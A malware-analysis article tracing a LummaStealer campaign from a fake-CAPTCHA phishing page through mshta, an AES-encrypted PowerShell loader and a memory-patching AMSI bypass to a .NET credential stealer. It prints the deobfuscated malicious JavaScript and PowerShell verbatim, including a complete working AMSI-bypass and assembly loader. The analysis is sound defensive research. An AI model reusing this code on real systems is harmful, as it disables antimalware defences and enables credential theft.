From Shadow to Spotlight: The Evolution of LummaStealer and Its Hidden Secrets

This article is a continuation of the previous research published on the malware LummaStealer: "Your Data Is Under New Lummanagement: The Rise of LummaStealer".

LummaStealer (aka LummaC2, Lummac, and Lumma Stealer) is a sophisticated malware that is spread as Malware-as-a-Service (MaaS). It was originally observed in 2022 and known to be developed by Russian-speaking adversaries. It targets a wide range of Windows systems. The developers of LummaStealer have shown a lot of agility to ensure their malware remains undetected and that the potential host-based detection rules put in place for a given sample do not apply to the new ones.

The Cybereason GSOC team were able to identify, classify, and respond accordingly, thanks to the advanced detection capabilities of the Cybereason EDR solution against the evolving tactics of LummaStealer.

This research article aims to provide detailed insights to assist security analysts in identifying, classifying, containing, and eradicating incidents involving LummaStealer. By highlighting the threat actor's new tactics, techniques, and procedures (TTPs), this article serves as a comprehensive resource to enhance incident response capabilities and support organizational defenses against this rapidly evolving threat.

INTRODUCTION

Previously, in the article titled “Your Data Is Under New Lummanagement: The Rise of LummaStealer" our security team highlighted the nature of LummaStealer, its distribution methods, and how threat actors attempted to achieve their objectives.

The key points to take away from the previous article can be summarized as follows:

LummaStealer is known as info-stealer malware having the ability to collect a wide range of sensitive data including credentials, cookies, cryptocurrency wallets, and other personally identifiable information.

Previously, our security team observed 6 different initial payloads associated with LummaStealer, showcasing the threat actors' diverse tactics to deploy the malware. These payloads included:

  • DLL side-loading using vulnerable/cracked software
  • MSI file with AutoIT script
  • Python based DLL (Python setup.exe and DLL)
  • Vulnerable/cracked software with LummaStealer payload
  • MSI file with Executable and RAR
  • ZIP file with PDF file decoy

 

New Observed Payload

In this article, we introduce an additional initial payload observed in recent LummaStealer campaigns, which demonstrates enhanced evasion techniques:

MSHTA Process Abuse

The mshta.exe process, a legitimate Windows utility, is abused to execute remote hosted code masquerading as an .mp4 file along an additional parameter that mimics a CAPTCHA.

Cybereason EDR solution Source: Cybereason EDR solution Attack Tree, fake captcha

This technique exploits trusted system processes to bypass defense mechanisms, delivering the malicious payload stealthily and increasing the likelihood of execution.

DELIVERY METHOD

As the malware is being distributed by many actors, there is no particular evidence pointing to a single delivery method. However, the Cybereason team has identified a recurring pattern in which the majority of successful malware deliveries have been observed via phishing emails. These emails typically contain malicious links that lead users to a fake CAPTCHA. Once the user interacts with the page, it further leads an execution in the background to deploy the first stage payload silently.

Machine Timeline, Phishing EvidenceSource: Cybereason EDR solution , Machine Timeline, Phishing Evidence

INITIAL ACCESS

The user is socially engineered into clicking a malicious link that leads to a fake CAPTCHA page. This page contains a tactic where the user has been requested to copy a malicious script and paste it into the Windows Run dialog box, a utility that allows users to quickly launch services and execute commands.

Compromised store Source: Compromised store spread Lumma Stealer using a fake CAPTCHA. (2024, December 24). seanthegeek.net.

Attack Tree, mshtaSource: Cybereason EDR solution Attack Tree, mshta

DEOBFUSCATING THE MALWARE

LummaStealer.v2 successful deployment Source: Cybereason EDR solution, LummaStealer.v2 successful deployment using mshta full attack tree

Reverse Engineering of the Malware

Stage 1 - Payload distributed through (mshta.exe) downloading a file masquerading as an mp4 file

System Binary Proxy Execution: Mshta

The mshta.exe process, a legitimate Windows utility, is exploited to execute Microsoft HTML applications (HTA) files. The HTA are standalone applications that operate using the same models and technologies as Internet Explorer but execute outside the browser environment. This technique is often used as a LolBin (Living off the land Binary) to bypass application control solutions that fail to account for its potential misuse, as well as browser security settings since the execution occurs outside the browser’s security context. This behavior is classified as T1218.005 under the MITRE ATT&CK framework.

The link directs the system to a specific directory masquerading as an MP4 multimedia file.

This file contains a combination of HEX and obfuscated JavaScript code, which the executable mshta.exe has the capabilities to open and execute.

Attack Tree, powershell

Source: Cybereason EDR solution Attack Tree, powershell

The execution involves deploying the second stage payload, which is initiated through the malicious link. The link masquerades as an MP4 multimedia file containing embedded instructions that execute a highly obfuscated PowerShell Script. This script facilitates the deployment of the second stage payload advancing the threat actor’s objectives.

Opening the file disguised as an MP4 extension reveals heavily obfuscated JavaScript code.

Picture1

Further analysis of the script reveals that the variable “Fygo” contains the final version of the second stage of PowerShell payload, which was executed via the ‘eval’ JavaScript function.

eval () has the capabilities to parse and execute code stored in a previously defined string. The eval function is commonly exploited for malicious purposes because it doesn't distinguish between JavaScript expressions, variables, statements, or sequences of statements, allowing it to execute any code passed to it with the sender's privileges.

Picture2

After extracting the strings from the file and conducting a thorough analysis, starting with the eval() function used to execute code within the file, the following segments could be identified:

Hex payload.

66S75h6er63C74i69K6fj6eA20N58Q5aE75W42l6cV6fH28r50p63U

50x61F29q7bD76Q61t72b20e46c79y67g6fj3dr20T27w27J3bG66M6fJ72j20F28u76O61g72b20K61F4aw54x6au20U3dX20l30A3bn61w4aX54P6aR20y3cb20E50i63l50U61d2eZ6ck65Z6ec67O74v68i3bG20P61...

Assigns the entire HTML content of the document (including the <html> element) to the variable XZuBlo.

<script>var XZuBlo = document.documentElement.outerHTML</script>

 

Extracts a substring from the variable XZuBlo, starting at index 27 and ending at index 51708, and assigns it to the variable Fygo.

This string represents the hex-encoded payload extracted from the beginning of the file using document.documentElement.outerHTML, which starts with <html><head></head><body> Consequently, the substring command is applied starting from the 27th character.

<script>var Fygo = XZuBlo.substring(27 , 51708);</script>

Decodes a hex-encoded string by replacing every pair of hex digits with the corresponding character, then executes the resulting code.

<script>eval(Fygo.replace(/(..)./g, function(match, p1) {return String.fromCharCode(parseInt(p1, 16))}));</script>

 

Then, after cleaning the code from unnecessary fragments, the result was obtained.

Picture3

This final, slightly modified form of the script decodes the hex-encoded string stored in Fygo by replacing each pair of hex digits with the corresponding character, then opens a new browser window, and writes the decoded content into that window. 

After saving the file with the .HTA extension and running it using mshta.exe, the following result was obtained:

Picture4

function XZuBlo(PcPa){var Fygo= '';for (var aJTj = 0;aJTj < PcPa.length; aJTj++){var VlCN = String.fromCharCode(PcPa[aJTj] - 411);Fygo = Fygo + VlCN}return Fygo};var Fygo = XZuBlo([523,522,530,512,525,526,515,512,519,519,457,512,531,512,443,456,530,443,460,443,456,512,523,443,496,521,525,512,526,527,525,516,510,527,512,511,443,456,521,522,523,443,513,528,521,510,527,516,522,521,443,487,479,495,521,451,447,527,486,512,483....]);var aJTj = XZuBlo([498,494,510,525,516,523,527,457,494,515,512,519,519]);var XZuBlo = new ActiveXObject(aJTj);XZuBlo.Run(Fygo, 0, true);

 

The script defines a function XZuBlo that decodes a sequence of numbers by subtracting 411 from each value, converting it to a character, and appending it to a string. It then uses this function to decode two sequences of numbers, storing the results in Fygo and aJTj. The script proceeds by creating an ActiveXObject using the decoded value of aJTj and runs the decoded script Fygo through it.

For decoding purposes, XZuBlo.Run(Fygo, 0, true) was replaced with console.log("Final Payload", Fygo) and executed in the browser console. This resulted in the output of the final PowerShell payload.

Picture5

powershell.exe -w 1 -ep Unrestricted -nop function LDTn($tKeH){return -split ($tKeH -replace '..', '0x$& ')};$CeoGk = LDTn('0CDF598A18A4AED91A5BE85EF010DC812DDF6CA5E01BA0841D5400BFA8865EEEE3...

 

Stage 2 - Execution of the obfuscated Powershell 

The observed command line is as follows: 

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function LDTn($tKeH){return -split ($tKeH -replace '..', '0x$& ')};$CeoGk = LDTn('0CDF598A18A4AED91A5BE85EF010DC812DDF6CA5E01BA0841D5400BFA8865EEEE33519508FA28ED22E033FB61D6860286C5AD585AD3AE6088844C462C9E670D633E9397F756035D3C6781C871D92F7DD98E335116153534088DAC311C4FA4F656D3794767D98583AF2B70D0E5EDA9DF4EFD9D51DB3BF8912F26547B13D6CAB090DA96E794D2605133338E72782BC20E0535B8BA6DB8ABE3B1637B6C3B4A7EC8BB43A565F60C586C35456C4DE14D903A8763F263B2B4092C54649B564234BA6F234DB2715C115D3E913B5B127D7471BB99910B54C19AF8AB765CAA3AE347E0C45FA06DA8BD0439D947C7FC428F4674CEA1B86989817396A01315CA74BA5946D9A2CBCD82D98C4CCCC126DA64FBF0C84866EF33E4165668A90ADC72C6D46B408936E7122B18754113C9EAD2652749B510185E864BAEB092247073B6555DBE8A02C285F7F5DEAB680CAB9F36B33DCCA376BFD9CAABD8453F85A5389E6FE1A1CE0FA9CE438FAC2E5109E8DFE4B5FCE59726B65BBFB09C9B2571EFBCC24F72182EEC386E1EEB24C28BF8561C07B9C48C5CFA3542DFC12500DB4ED9E0F752F904E9A1F39F40CCAF7DE29BBD93781A14A6B6D78697BA1121A557D382CADCC3DD26E29AF7926F20E922321641B4A503AA61ED17F6EBE58F1B4B858AF09B7807EA6E90C9E44067C3F44521E31943DD37FE829CF3B98EC4922D14519B01B6B7BAF7FA223A2D5336B6A2292896985C4B357884240F703091D140C7B552450F99F9352AEB9E71F874800046B0FB029F8E227B9298C1C8CABB578B8924D2EBFC9CEE9C73A30BC9F8383C9F65D86C41C551E44646BC7F07649CC6F5901304FCD25A2D67CD5AC336BB828F514A28C4BE971F7F97A31A0639007438605B44768B1923ABD25AAF8F7F65C194C71D028F1207E4C2ADD1DE6CD07E6CAF866DF641D384C2798E578D0E62D26F47AA5D00B74081D9C2B593A15D609EDEF38D5B0390EB8544DF29181A2BF9156CAFEC580637B32EDAD036529C4CA0C046886F5DBC13DBF4B14B2E1312A54FF3B766C3BFC0F72E719D889F8354CC68EC0F6870F6A683141D9979DB30BB59F87CDC6AFDAD0D89C363A6741CC175CF2271F2350327442C9773C15529F7730B070E55F4E4114B38A5E96C0486F06C7AEAC39BE262CA46519E22AF9288C18C6C3FE7A1E277ED07ACD51D05DD38A54610596DC32A7E2E1BB911322FB5616F433772A3FF614E44796D1178ACC0441CFEDF6C7A01E4F873963A01EA481827F0DD1C94A69527B568FD9DE419B0AB64654F27E1DC27A501F45C3BA0197EE39BF50E60A149B22181887A36766EB23FD754AA5DC12B10EFFCBDE4E0EBC254C00B4A36F73CD6BE9EBFBEEF8D57312316D16F6E2FFFC6554597675AF1B2D6A9ED511B09A427F0C56A29E47D42B8401C69CC7E8DDDB2E15306921D08A253B3518557EBFFAA29B4335E83A34F643C401385F698DBD55768D7E062D3AF6867D8CAB43D40CDC2E20EFAD37F4C18D708834E667A314DE26F52CEA3E26135A7310AFF06A942AA1D0651EF6B0B7C5A791772A63456309E7B0880A5C67AF91224515DAEEED04089B4583D37DFD19812A8DC0B7483930481AE66FDC076A7921F1ECDAE5D1C85ACBA6B5CBF037B3DB3CFC830C4AEB5FB80712D9F5A3E732B10D6A9A598DBE546004DEEF2DC19C863080CB638919ED62B5B09EA15804CE8DB5426ABC23C3885CF939D01B1D4DA70D1D03728AF6057BDA0CFF939D461A506C2F9C90B46F5B68F5702DBE42BA44326F3A77AFC65F361F15121EDF186B865365D38D853B95FCBBB9B54900984FECEF553149B1FA9EE96374D158573334F382CA832BEB61B3D6A650F11D1B38EFE7C350965C94051A2B6E56A02B8D72566DE5AB234A88CBF27C45D9D625D45AD17E2E57F169F088E9207738CF4AAF3FEAADAD778BDEED75F79CA436F726BADFC4E259843AC42ED941CBC57338FB4F9E6501533B45F56B19CBB71AA46FBE4AA75262D68C6132F640A12377AB8FC0BCACFA91DE1124048C4AEEC6B1F0817094211007C3419A2A73412238C092AF07FC7627730EAEAB3550EA11701E8A15DBA39D87ADE2CAFCDB85146E03942BB97596FB8CE451761175ED084322CB76E8A29CDD30AEA5ACD545C718A060DB59F82FF165592590E325D925218725B22FEA7D7DBD49ACF5A661D879C0A45453706F9E93765FEC931AC2839ACECCA477F3EFD927E648CDF18834AFD8BB30FBEBE75227F9D04BAFE567B67C106E1C5BE59CE3A994415E9686D3FC361454E87C8E3248BC089ACBFBF37496F0D501AA98B5D7520FB2578DD14380174EED72BC90CE16EAB28A44E610AC27F2FE4C8F78C06B145AECC583EB81B24FD797E1A4B5DE0FE2C0BFC9685D9776B2286A641182E4052E33C12BD98AF5555B0863FB89BB6B259350DAAC97058F1960BE0785FD8743C0AC1F03625D053103C5ED4289FA556CAAD69C35D65A1C4AEC5BF17DEFDE5B816E04DC0ECA597677D9E37A53A54BAEF0A8EA359AEEBF0AC368690017FCC0C273EB037AB45E9B69C14F52F8DB07FF6412E64D6DB94ABE8B4D1DC3FC9D6D33F19A6424B197ADDBA635D2B6BD3AB84C877BA922EE87AECD8F3E923AE1A9BE08FF0ADEED63843A135511D4566DDD099772CA701E5652D83C8974E74859C00A910E13D108A0804EACCEE97B701F38292E62615D608404A69ED70C605D56EF326606CA954F2B01211A0ED12A0547F45CDA7B510AB2B50466FD');$MquE=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((LDTn('49434457727243754F7361764B4D4679')),[byte[]]::new(16)).TransformFinalBlock($CeoGk,0,$CeoGk.Length)); & $MquE.Substring(0,3) $MquE.Substring(187)

 

At first glance, we observed a long hexadecimal string along an additional parameter ([Security.Cryptography.Aes]::Create()).CreateDecryptor((LDTn('49434457727243754F7361764B4D4679')), [byte[]]::new(16)).TransformFinalBlock($CeoGk, 0, $CeoGk.Length)

This indicates that the hexadecimal value is not in plaintext but instead encrypted using AES encryption. 

The decryption key is hardcoded as 49434457727243754F7361764B4D4679 (), and a 16 byte block of empty slots ([byte[]]::new(16)) is created to serve as the Initialization Vector (IV), a crucial component for the AES encryption/decryption process. 

DECRYPTION WITH CYBERCHEF

The Cyberchef tool can be used to decode the first layer encryption. From the obtained key, hex string and a hint from the Initialization Vector (IV) being set to 16 byte block of empty slots which means any number consisting of 32 values, we will be able to revert the first layer on a plain text. 

Picture6

Output

output

From the initial decoded plaintext string, our analysis revealed an obfuscated command containing a redirection to a specific URL (https://sakura[.]holistic[-]haven[.]shop/singl6).

By looking it up on VirusTotal, we were able to successfully retrieve the content hosted in that URL. 

VirusTotal. (n.d.).

Source: VirusTotal. (n.d.). VirusTotal. https://www.virustotal.com/gui/file/06f848f9c41bfb87ff6a8349180947d19edd0893f2791040bc3018355e862ea1/content

The initial observations appeared to consist of variables being computed through nested mathematical operations, indicating a layered obfuscation mechanism. This structure can be represented as a  “matryokshka” doll, a metaphorical representation of the multiple layers of obfuscation within the code waiting to be deobfuscated to uncover the next layer and ultimately determine the true nature of the malware. 

Stage 3 - Payload 

In the analyzed phase 3, the most important thing is the end of the file. Large array $dsahg78das with bytes and function fdsjnh.

Picture7

function fdsjnh {
    $arrMath = New-Object System.Collections.ArrayList
    for ($i = 0; $i -le $dsahg78das.Length - 1; $i++) {
        $arrMath.Add([char]$dsahg78das[$i]) | Out-Null
    }
    
    $z = $arrMath -join ""
    $enc = [System.Text.Encoding]::UTF8
    $xorkey = $enc.GetBytes("$gdfsodsao")
    $string = $enc.GetString([System.Convert]::FromBase64String($z))
    $byteString = $enc.GetBytes($string)
    
    $xordData = $(for ($i = 0; $i -lt $byteString.Length;) {
        for ($j = 0; $j -lt $xorkey.Length; $j++) {
            $byteString[$i] -bxor $xorkey[$j]
            $i++
            if ($i -ge $byteString.Length) {
                $j = $xorkey.Length
            }
        }
    })
    
    $xordData = $enc.GetString($xordData)
    return $xordData
}

(($yWxOpbM -as [Type])::($jMdONfJV)(fdsjnh)).($YjMNzUFLdZVJ)()

The code of the function fdsjnh performs several operations to decode and process data:

  1. It creates a new array list $arrMath and fills it with characters from the $dsahg78das array.
  2. It then combines these characters into a single string $z.
  3. The string $z is decoded from Base64, and then converted to a byte array.
  4. The byte array is XOR-decoded using a key derived from $gdfsodsao.
  5. Finally, the function returns the decoded string $xordData.

 

After defining the function, the second part of the code executes it dynamically. It calls the method $jMdONfJV from a type $yWxOpbM, passing the result of fdsjnh as a parameter. Then it invokes a method $YjMNzUFLdZVJ() on the decoded data.

To clearly see what this code actually does, the most important thing is to define the variables $gdfsodsao and $dsahg78das with proper values and execute the fdsjnh function.

Variable $gdfsodsao is highly obfuscated however with simple code we can deobfuscate them:

$gdfsodsao = ($ZpgGD"-as

[Type]).($vUeuKbMhYn).($wUbCcWg)($fWMgoa).($MwlkY)($DqMQTZ, ($YkdEvO -as [Type])::$bhniDvzHOPWyaK -bor ($YkdEvO -as

[Type])::$pBhXgw).$UoZJOaGH($null, @($HzauxMWIdGEkS, [string]$iymQzwePWUYv))

Command to fully deobfuscate variable:

Write-Output $ZpgGD,$vUeuKbMhYn,$wUbCcWg,$fWMgoa,$MwlkY,$DqMQTZ,$YkdEvO,      $bhniDvzHOPWyaK,$pBhXgw,$UoZJOaGH,$HzauxMWIdGEkS,$iymQzwePWUYv 
 $ZpgGD,  Ref
 $vUeuKbMhYn,  Assembly
 $wUbCcWg,  GetType
 $fWMgoa, System.Management.Automation.AmsiUtils
 $MwlkY,      GetMethod
 $DqMQTZ, ScanContent
$YkdEvO, Reflection.BindingFlags
$bhniDvzHOPWyaK,  NonPublic
$pBhXgw,   Static
$UoZJOaGH, Invoke
$HzauxMWIdGEkS, Invoke-Mimikatz
$iymQzwePWUYv,  32

 

Formatted version of $gdfsodsao  with proper  variables 

$gdfsodsao = (
    [Ref] -as [Type]
).Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethod(
    "ScanContent",
    [Reflection.BindingFlags]::NonPublic -bor [Reflection.BindingFlags]::Static
).Invoke(
    $null,
    @(
        "Invoke-Mimikatz",
        [string]32
    )
)

 

The $gdfsodsao variable serves as a key for XOR operations within the fdsjnh function. Although it is initialized with obfuscated AMSI  (Antimalware Scan Interface) bypass logic, this logic is never executed because the variable's value is treated as a string rather than being run as code.

With all necessary variables available and the function returning the value $xordData, the code can be modified to display that value.

Picture8

Output:

$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READWRITE = 0x40
$PAGE_EXECUTE_READ = 0x20
$PAGE_GUARD = 0x100
$MEM_COMMIT = 0x1000
$MAX_PATH = 260

# Helper functions
function IsReadable {
    param ($protect, $state)
    return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT)
}

function PatternMatch {
    param ($buffer, $pattern, $index)
    for ($i = 0; $i -lt $pattern.Length; $i++) {
        if ($buffer[$index + $i] -ne $pattern[$i]) {
            return $false
        }
    }
    return $true
}

if ($PSVersionTable.PSVersion.Major -gt 2) {
    # Create module builder
    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

    # Define structs
    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

    # Define structs
    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()

    # P/Invoke Methods
    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))

    # Define [Win32.Kernel32]::VirtualProtect
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    # Define [Win32.Kernel32]::GetCurrentProcess
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    # Define [Win32.Kernel32]::VirtualQuery
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    # Define [Win32.Kernel32]::GetSystemInfo
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    # Define [Win32.Kernel32]::GetMappedFileName
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    # Define [Win32.Kernel32]::ReadProcessMemory
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    # Define [Win32.Kernel32]::WriteProcessMemory
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $Kernel32 = $TypeBuilder.CreateType()

    $a = "Ams"
    $b = "iSc"
    $c = "anBuf"
    $d = "fer"
    $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
    $hProcess = [Win32.Kernel32]::GetCurrentProcess()

    # Get system information
    $sysInfo = New-Object Win32.SYSTEM_INFO
    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)

    # List of memory regions to scan
    $memoryRegions = @()
    $address = [IntPtr]::Zero

    # Scan through memory regions
    while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
        $memInfo = New-Object Win32.MEMORY_INFO_BASIC
        if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
            $memoryRegions += $memInfo
        }
        # Move to the next memory region
        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
    }

    $count = 0

    # Loop through memory regions
    foreach ($region in $memoryRegions) {
        # Check if the region is readable and writable
        if (-not (IsReadable $region.Protect $region.State)) {
            continue
        }
        # Check if the region contains a mapped file
        $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
        if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {
            $path = $pathBuilder.ToString()
            if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {
                # Scan the region for the pattern
                $buffer = New-Object byte[] $region.RegionSize.ToInt64()
                $bytesRead = 0
                [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead)
                for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {
                    $found = $True
                    for ($m = 0; $m -lt $signature.Length; $m++) {
                        if ($buffer[$k + $m] -ne $signature[$m]) {
                            $found = $False
                            break
                        }
                    }
                    if ($found) {
                        $oldProtect = 0
                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {
                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)
                        }
                        $replacement = New-Object byte[] $signature.Length
                        $bytesWritten = 0
                        [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten)
                        $count++
                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {
                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect)
                        }
                    }
                }
            }
        }
    }
}

$a = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGuKYGcAAAAAAAAAAOAAAgELAQgAAKwWAAAIAAAAAAAAHssWAAAgAAAA4BYAAABAAAAgAAAAAgAABAA ..."
[Reflection.Assembly]$assembly = [System.AppDomain]::CurrentDomain.Load($bytes) # Load Assembly
$assembly.EntryPoint.Invoke($null, @())

 

Stage 4 - Memory Injection 

This script scans the process memory of the current PowerShell session to locate and replace specific patterns in memory. It defines custom data structures and imports Windows API functions using dynamic assembly creation. The code searches for a signature ("AmsiScanBuffer") in memory regions associated with clr.dll, modifies their memory protection to make them writable if necessary, and then overwrites the pattern with a null byte array. This effectively bypasses AMSI, allowing the execution of potentially malicious scripts without being flagged. Finally, it loads and executes a Base64-encoded .NET assembly embedded in the script.

To be precise, the base64 fragment contains code fragments related to various things, such as:the name of the executable; for example, singl6.exe (number depends on malware version).

Names of the functions that suggest interaction with user passwords:
get_Password

set_Password
get_ServicePassword
set_ServicePassword
servicePassword
get_OwnerPassword
set_OwnerPassword
get_UserPassword
set_UserPassword
get_IsPassword
set_IsPassword
get_PfxPassword
set_PfxPassword

 

Names of the functions indicating potential further communication:

set_Proxy
IWebProxy
get_ClientProxy
set_ClientProxy

 

Encryption and enumeration 

EncryptKey40Bit
EncryptKey256Bit
EncryptKey128Bit
Enumerable
GetEnumerator

 

